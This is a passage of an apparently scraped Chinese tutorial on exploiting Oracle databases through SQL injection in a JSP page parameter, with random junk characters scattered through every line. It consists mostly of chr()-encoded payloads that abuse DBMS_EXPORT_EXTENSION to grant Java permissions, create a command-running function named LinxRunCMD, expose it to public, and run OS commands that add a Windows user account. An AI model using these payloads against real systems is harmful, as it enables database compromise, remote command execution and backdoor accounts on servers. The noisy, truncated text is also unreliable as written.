* J* i( u0 ]# |. H. h1 {( vchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||. H, D' d8 M4 X# J+ {& N
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||) H) J' d. Y, m, o- x
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||1 l, T. e3 w6 W$ t  z' r( s# u7 `
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||6 ?5 Q% l& o* P
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
& J$ Y, _' B0 W; I! I$ F* j,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
5 k& P" D; u7 a9 d, l, z* |2 A4 N  A  B" r# P
)
, f) _/ Z1 M2 A9 l5 v6 w* H
/ B8 M6 s1 R- ~, B; Q' ]3 k2 b4 Y+ k------------------------------" o5 x4 c) A- W0 r* Q. ?

0 m7 _/ I) {  E6 g2.赋Java权限: d! A1 Q7 t- T: r+ I# p
/xxx.jsp?id=1 and chr(49)<>chr(50)||(9 n  Y" R0 Z1 q8 h$ Q5 b/ u7 T

( W. @3 f3 |& u7 ?, o) f& o1 V( U  @1 ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),* V) x/ u' |0 B) Q+ {3 \
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
+ P3 {2 a5 S# _chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
0 T8 h9 s) `4 y2 ?chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||% b0 ?/ S. W! _8 W8 j
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
) j9 @8 }9 z. g* W0 s9 k+ Bchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||8 W% U1 Z5 l0 z0 s
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
' E, d  ?8 u: Q/ Y" s; |; C! Dchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
# X# X- D' S6 p" _: {chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
) _4 B) L3 v; lchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)# x% Q5 T6 S8 r
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual- @3 K' c* D' L: B+ x

0 B3 Q8 c; q' P)
. l5 C8 ^( P5 d
; }: P  }; }& t2 d9 j$ p0 p. Preadfile函数的ascii版就不写了,见谅。
- s& s6 n% l5 j9 L* v$ p* d
' V4 U+ A, S6 z5 B& L/ H! u3.创建函数( A# j& C5 i1 V
, H% e/ Z$ h/ t9 S5 L7 k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),5 C5 `4 _6 l" v+ t+ y
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
( t/ T3 o, I! U0 w: kchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
( C, |9 c+ b5 d# j7 B) S$ W! wchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
9 ~. F: q3 \% q  a7 Gchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||9 f0 e, I9 B( @2 Q" J" p/ P
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
7 B" u5 {' D) N7 C% ^- mchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||, |' f3 S* s& _5 E. `* |) q' A
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
. X5 E8 I# q5 `# j1 Rchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||5 S3 Z5 ]- r0 n$ R4 {9 c3 c; P
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||) i, e3 q+ G0 G+ I8 o/ O# S
chr(59)||chr(45)||chr(45)
' j  }- {$ z+ Y- Y9 v,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
) }; E# V+ B" m" ]( f- F% u5 m5 h& k6 T! h1 k5 c+ v' h

5 O2 X1 ]# s" Y# \. B( F
0 E; S) n7 k9 Z; b2 G1 L4.赋public执行函数的权限* n$ _# J: x6 J( D( [/ J, ]0 S9 o
8 S6 H  s- Q2 t% M% d
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),- t+ [! A2 v6 U/ e; e' ], v8 _; V8 }
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
7 }3 Q; G6 X1 I3 [  _& pchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
  D) L  X# f% o3 E# Ichr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
8 d7 N1 ]; Y7 B, g% u) c1 k* |chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||0 E2 D  r9 b- d' t. {& w
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
/ j1 k. ?( y: Z- C) jchr(59)||chr(45)||chr(45), M, ~0 H7 n7 @# d" n
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual$ X* x+ P! |! E5 v. B7 @+ Q
: |. a* j0 T: }  n4 ^6 r& S: _) |' h
+ b- X& c" \6 }5 w5 M2 p

5 Y% W3 {5 v5 V8 w9 b5.执行命令:) M/ V2 c% J4 n' x- v+ X

& s; b& G" c# g* }- i, M/xxx.jsp?id=1 and chr(49)<>chr(32)||(9 Z7 P6 o, ]; W+ @- @8 i
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
! h) t4 |# C9 H8 @)
5 r( F8 A+ Q+ V! L- `* d" K! f5 b  W9 M

  ]1 P+ X! w# L0 I+ q8 n# Y/xxx.jsp?id=1 and chr(49)<>chr(32)||(  ]0 j; u1 M0 V* U; @. E+ r, K& C0 u1 v1 f4 B
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
( [) S( J+ @. }, J+ K$ O)
4 ~; @7 q6 s. N% b
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